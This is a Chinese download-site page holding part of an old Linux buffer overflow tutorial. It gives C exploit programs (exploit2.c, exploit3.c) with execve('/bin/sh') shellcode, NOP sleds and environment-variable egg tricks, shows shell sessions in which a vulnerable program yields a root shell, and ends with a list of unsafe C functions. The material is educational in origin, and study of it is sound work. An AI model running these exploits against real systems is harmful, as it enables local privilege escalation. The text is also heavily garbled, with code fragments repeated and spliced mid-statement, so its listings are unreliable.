⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 00000003.htm

📁 一份很好的linux入门资料
💻 HTM
📖 第 1 页 / 共 2 页
字号:
*(addr_ptr++)&nbsp;=&nbsp;addr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;bsize/2;&nbsp;i++)&nbsp;<BR>buff[i]&nbsp;=&nbsp;NOP;&nbsp;<BR>ptr&nbsp;=&nbsp;buff&nbsp;+&nbsp;((bsize/2)&nbsp;-&nbsp;(strlen(int&nbsp;i;&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;bsize&nbsp;=&nbsp;atoi(argv[1]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;2)&nbsp;offset&nbsp;=&nbsp;atoi(argv[2]);&nbsp;<BR>if&nbsp;(!(buff&nbsp;=&nbsp;malloc(bsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>addr&nbsp;=&nbsp;get_sp()&nbsp;-&nbsp;offset;&nbsp;<BR>printf(&quot;Using&nbsp;address:&nbsp;0x%x\n&quot;,&nbsp;addr);&nbsp;<BR>ptr&nbsp;=&nbsp;buff;&nbsp;<BR>addr_ptr&nbsp;=&nbsp;(long&nbsp;*)&nbsp;ptr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;bsize;&nbsp;i+=4)&nbsp;<BR>*(addr_ptr++)&nbsp;=&nbsp;addr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;bsize/2;&nbsp;i++)&nbsp;<BR>buff[i]&nbsp;=&nbsp;NOP;&nbsp;<BR>ptr&nbsp;=&nbsp;buff&nbsp;+&nbsp;((bsize/2)&nbsp;-&nbsp;(strlen(shellcode)/2));&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;strlen(shellcode);&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;shellcode[i];&nbsp;<BR>buff[bsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>memcpy(buff,&quot;BUF=&quot;,4);&nbsp;<BR>putenv(buff);&nbsp;<BR>system(&quot;/bin/bash&quot;);&nbsp;<BR>}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;exploit2.c&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffff6c3&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>segmentation&nbsp;fault&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;100&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffffce6shellcode)/2));&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;strlen(shellcode);&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;shellcode[i];&nbsp;<BR>buff[bsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>memcpy(buff,&quot;BUF=&quot;,4);&nbsp;<BR>putenv(buff);&nbsp;<BR>system(&quot;/bin/bash&quot;);&nbsp;<BR>}&nbsp;<BR>&lt;--&gt;&nbsp;end&nbsp;of&nbsp;exploit2.c&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffff6c3&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>segmentation&nbsp;fault&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;100&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffffce6&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>#exit&nbsp;<BR>[hosts]$&nbsp;<BR>为了更完善我们的代码,&nbsp;我们把这些shellcode放到环境变量里去.&nbsp;然后我们就&nbsp;<BR>可以用这个变量的地址来溢出缓冲器了.&nbsp;这方法可以增加我们的机会.用setenv()函&nbsp;<BR>数来调用,并把shell[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>#exit&nbsp;<BR>[hosts]$&nbsp;<BR>为了更完善我们的代码,&nbsp;我们把这些shellcode放到环境变量里去.&nbsp;然后我们就&nbsp;<BR>可以用这个变量的地址来溢出缓冲器了.&nbsp;这方法可以增加我们的机会.用setenv()函&nbsp;<BR>数来调用,并把shellcode送到环境变量中去.&nbsp;<BR>&lt;++&gt;&nbsp;buffer/exploit3.c&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#define&nbsp;DEFAULT_OFFSET&nbsp;0&nbsp;<BR>#define&nbsp;DEFAULT_BUFFER_SIZE&nbsp;512&nbsp;<BR>#define&nbsp;DEFAULT_EGG_SIZE&nbsp;2048&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;100&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffffce6&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>#exit&nbsp;<BR>[hosts]$&nbsp;<BR>为了更完善我们的代码,&nbsp;我们把这些shellcode放到环境变量里去.&nbsp;然后我们就&nbsp;<BR>可以用这个变量的地址来溢出缓冲器了.&nbsp;这方法可以增加我们的机会.用setenv()函&nbsp;<BR>数来调用,并把shell[hosts]$&nbsp;./hole&nbsp;$BUF&nbsp;<BR>#exit&nbsp;<BR>[hosts]$&nbsp;<BR>为了更完善我们的代码,&nbsp;我们把这些shellcode放到环境变量里去.&nbsp;然后我们就&nbsp;<BR>可以用这个变量的地址来溢出缓冲器了.&nbsp;这方法可以增加我们的机会.用setenv()函&nbsp;<BR>数来调用,并把shellcode送到环境变量中去.&nbsp;<BR>&lt;++&gt;&nbsp;buffer/exploit3.c&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#define&nbsp;DEFAULT_OFFSET&nbsp;0&nbsp;<BR>#define&nbsp;DEFAULT_BUFFER_SIZE&nbsp;512&nbsp;<BR>#define&nbsp;DEFAULT_EGG_SIZE&nbsp;2048&nbsp;<BR>#define&nbsp;NOP&nbsp;0x90&nbsp;<BR>char&nbsp;shellcode[]&nbsp;=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>unsigned&nbsp;long&nbsp;get_esp(void)&nbsp;{&nbsp;<BR>__asm__(&quot;movl&nbsp;%esp,%eax&quot;);&nbsp;<BR>}&nbsp;<BR>void&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;<BR>{&nbsp;<BR>char&nbsp;*buff,&nbsp;*ptr,&nbsp;*egg;&nbsp;<BR>long&nbsp;*addr_ptr,&nbsp;addr;&nbsp;<BR>int&nbsp;offset=DEFAULT_OFFSET,&nbsp;bsize=DEFAULT_BUFFER_SIZE;&nbsp;<BR>int&nbsp;i,&nbsp;eggsize=DEFAULT_EGG_SIZE;&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;bsize&nbsp;=&nbsp;atoi(argv[1]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;2)&nbsp;offset&nbsp;=&nbsp;atoi(argv[2]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;3)&nbsp;eggsize&nbsp;=&nbsp;atoi(argv[3]);&nbsp;<BR>if&nbsp;(!(buff&nbsp;=&nbsp;malloc(bsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);code送到环境变量中去.&nbsp;<BR>&lt;++&gt;&nbsp;buffer/exploit3.c&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#define&nbsp;DEFAULT_OFFSET&nbsp;0&nbsp;<BR>#define&nbsp;DEFAULT_BUFFER_SIZE&nbsp;512&nbsp;<BR>#define&nbsp;DEFAULT_EGG_SIZE&nbsp;2048&nbsp;<BR>#define&nbsp;NOP&nbsp;0x90&nbsp;<BR>char&nbsp;shellcode[]&nbsp;=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>unsigned&nbsp;long&nbsp;get_esp(void)&nbsp;{&nbsp;<BR>__asm__(&quot;movl&nbsp;%esp,%eax&quot;);&nbsp;<BR>}&nbsp;<BR>void&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;<BR>if&nbsp;(!(buff&nbsp;=&nbsp;malloc(bsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);code送到环境变量中去.&nbsp;<BR>&lt;++&gt;&nbsp;buffer/exploit3.c&nbsp;<BR>#include&nbsp;&lt;stdlib.h&gt;&nbsp;<BR>#define&nbsp;DEFAULT_OFFSET&nbsp;0&nbsp;<BR>#define&nbsp;DEFAULT_BUFFER_SIZE&nbsp;512&nbsp;<BR>#define&nbsp;DEFAULT_EGG_SIZE&nbsp;2048&nbsp;<BR>#define&nbsp;NOP&nbsp;0x90&nbsp;<BR>char&nbsp;shellcode[]&nbsp;=&nbsp;<BR>&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&nbsp;<BR>&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&nbsp;<BR>&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&nbsp;<BR>unsigned&nbsp;long&nbsp;get_esp(void)&nbsp;{&nbsp;<BR>__asm__(&quot;movl&nbsp;%esp,%eax&quot;);&nbsp;<BR>}&nbsp;<BR>void&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;<BR>{&nbsp;<BR>char&nbsp;*buff,&nbsp;*ptr,&nbsp;*egg;&nbsp;<BR>long&nbsp;*addr_ptr,&nbsp;addr;&nbsp;<BR>int&nbsp;offset=DEFAULT_OFFSET,&nbsp;bsize=DEFAULT_BUFFER_SIZE;&nbsp;<BR>int&nbsp;i,&nbsp;eggsize=DEFAULT_EGG_SIZE;&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;bsize&nbsp;=&nbsp;atoi(argv[1]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;2)&nbsp;offset&nbsp;=&nbsp;atoi(argv[2]);&nbsp;<BR>if&nbsp;(argc&nbsp;&gt;&nbsp;3)&nbsp;eggsize&nbsp;=&nbsp;atoi(argv[3]);&nbsp;<BR>if&nbsp;(!(buff&nbsp;=&nbsp;malloc(bsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>if&nbsp;(!(egg&nbsp;=&nbsp;malloc(eggsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>addr&nbsp;=&nbsp;get_esp()&nbsp;-&nbsp;offset;&nbsp;<BR>printf(&quot;Using&nbsp;address:&nbsp;0x%x\n&quot;,&nbsp;addr);&nbsp;<BR>ptr&nbsp;=&nbsp;buff;&nbsp;<BR>addr_ptr&nbsp;=&nbsp;(long&nbsp;*)&nbsp;ptr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i}&nbsp;<BR>if&nbsp;(!(egg&nbsp;=&nbsp;malloc(eggsize)))&nbsp;{&nbsp;<BR>printf(&quot;Can't&nbsp;allocate&nbsp;memory.\n&quot;);&nbsp;<BR>exit(0);&nbsp;<BR>}&nbsp;<BR>addr&nbsp;=&nbsp;get_esp()&nbsp;-&nbsp;offset;&nbsp;<BR>printf(&quot;Using&nbsp;address:&nbsp;0x%x\n&quot;,&nbsp;addr);&nbsp;<BR>ptr&nbsp;=&nbsp;buff;&nbsp;<BR>addr_ptr&nbsp;=&nbsp;(long&nbsp;*)&nbsp;ptr;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;bsize;&nbsp;i+=4)&nbsp;<BR>*(addr_ptr++)&nbsp;=&nbsp;addr;&nbsp;<BR>ptr&nbsp;=&nbsp;egg;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;eggsize&nbsp;-&nbsp;strlen(shellcode)&nbsp;-&nbsp;1;&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;NOP;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;strlen(shellcode);&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;shellcode[i];&nbsp;<BR>buff[bsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>egg[eggsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>memcpy(egg,&quot;BUF=&quot;,4);&nbsp;<BR>putenv(egg);&nbsp;<BR>memcpy(buff,&quot;RET=&quot;,4);&nbsp;<BR>putenv(buff);&nbsp;<BR>system(&quot;/bin/bash&quot;);&nbsp;<BR>}&nbsp;<BR>end&nbsp;of&nbsp;exploit3.c&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffff5d7&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$RET&nbsp;<BR>#exit&nbsp;<BR>[hosts]$&nbsp;<BR>--------------------[&nbsp;寻找溢出&nbsp;<BR>当然有能更准确找到缓冲溢出的方法,&nbsp;那就是读它的源程序.&nbsp;因为Linux是个开&nbsp;<BR>放的系统,&nbsp;你很容易就可以得到它的源程序.&nbsp;&lt;&nbsp;bsize;&nbsp;i+=4)&nbsp;<BR>*(addr_ptr++)&nbsp;=&nbsp;addr;&nbsp;<BR>ptr&nbsp;=&nbsp;egg;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;eggsize&nbsp;-&nbsp;strlen(shellcode)&nbsp;-&nbsp;1;&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;NOP;&nbsp;<BR>for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;strlen(shellcode);&nbsp;i++)&nbsp;<BR>*(ptr++)&nbsp;=&nbsp;shellcode[i];&nbsp;<BR>buff[bsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>egg[eggsize&nbsp;-&nbsp;1]&nbsp;=&nbsp;'\0';&nbsp;<BR>memcpy(egg,&quot;BUF=&quot;,4);&nbsp;<BR>putenv(egg);&nbsp;<BR>memcpy(buff,&quot;RET=&quot;,4);&nbsp;<BR>putenv(buff);&nbsp;<BR>system(&quot;/bin/bash&quot;);&nbsp;<BR>}&nbsp;<BR>end&nbsp;of&nbsp;exploit3.c&nbsp;<BR>[hosts]$&nbsp;exploit2&nbsp;600&nbsp;<BR>Using&nbsp;address:&nbsp;0xbffff5d7&nbsp;<BR>[hosts]$&nbsp;./hole&nbsp;$RET&nbsp;<BR>#exit&nbsp;<BR>[hosts]$&nbsp;<BR>--------------------[&nbsp;寻找溢出&nbsp;<BR>当然有能更准确找到缓冲溢出的方法,&nbsp;那就是读它的源程序.&nbsp;因为Linux是个开&nbsp;<BR>放的系统,&nbsp;你很容易就可以得到它的源程序.&nbsp;<BR>寻找没有边界校验的库函数调用,如:&nbsp;<BR>strcpy(),&nbsp;strcat(),&nbsp;sprintf(),&nbsp;vsprintf(),&nbsp;scanf().&nbsp;<BR>其他的具有危险的函数如:&nbsp;<BR>在&quot;当型&quot;循环中的getc()和getchar().&nbsp;<BR>strncat函数的错误使用。&nbsp;<BR>--------------------[&nbsp;参考文献&nbsp;<BR>Smashing&nbsp;the&nbsp;stack&nbsp;for&nbsp;fun&nbsp;and&nbsp;profit&nbsp;by&nbsp;aleph1&nbsp;<BR>bufferoverflows&nbsp;by&nbsp;mudge&nbsp;<BR>****************************************************&nbsp;<BR>by&nbsp;Lamagra&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;access-<A HREF="mailto:granted@geocities.com>">granted@geocities.com></A>&nbsp;<BR>repaired&nbsp;by&nbsp;solo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;<A HREF="mailto:soloist@188.net>">soloist@188.net></A>&nbsp;<BR>Copyright&nbsp;by&nbsp;isbase&nbsp;&nbsp;&nbsp;&nbsp;<A HREF="http://www.isbase.com/">http://www.isbase.com/</A>&nbsp;<BR>****************************************************&nbsp;<BR>如要转载请保持文章的完整性&nbsp;<BR>欢迎访问我们的站点<A HREF="http://www.isbase.com">http://www.isbase.com</A>&nbsp;<BR>绿色兵团给你安全的保证&nbsp;<BR>&nbsp;<BR>--&nbsp;<BR>※&nbsp;来源:·BBS&nbsp;水木清华站&nbsp;bbs.net.tsinghua.edu.cn·[FROM:&nbsp;162.105.17.237]&nbsp;<BR><CENTER><H1>BBS水木清华站∶精华区</H1></CENTER></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -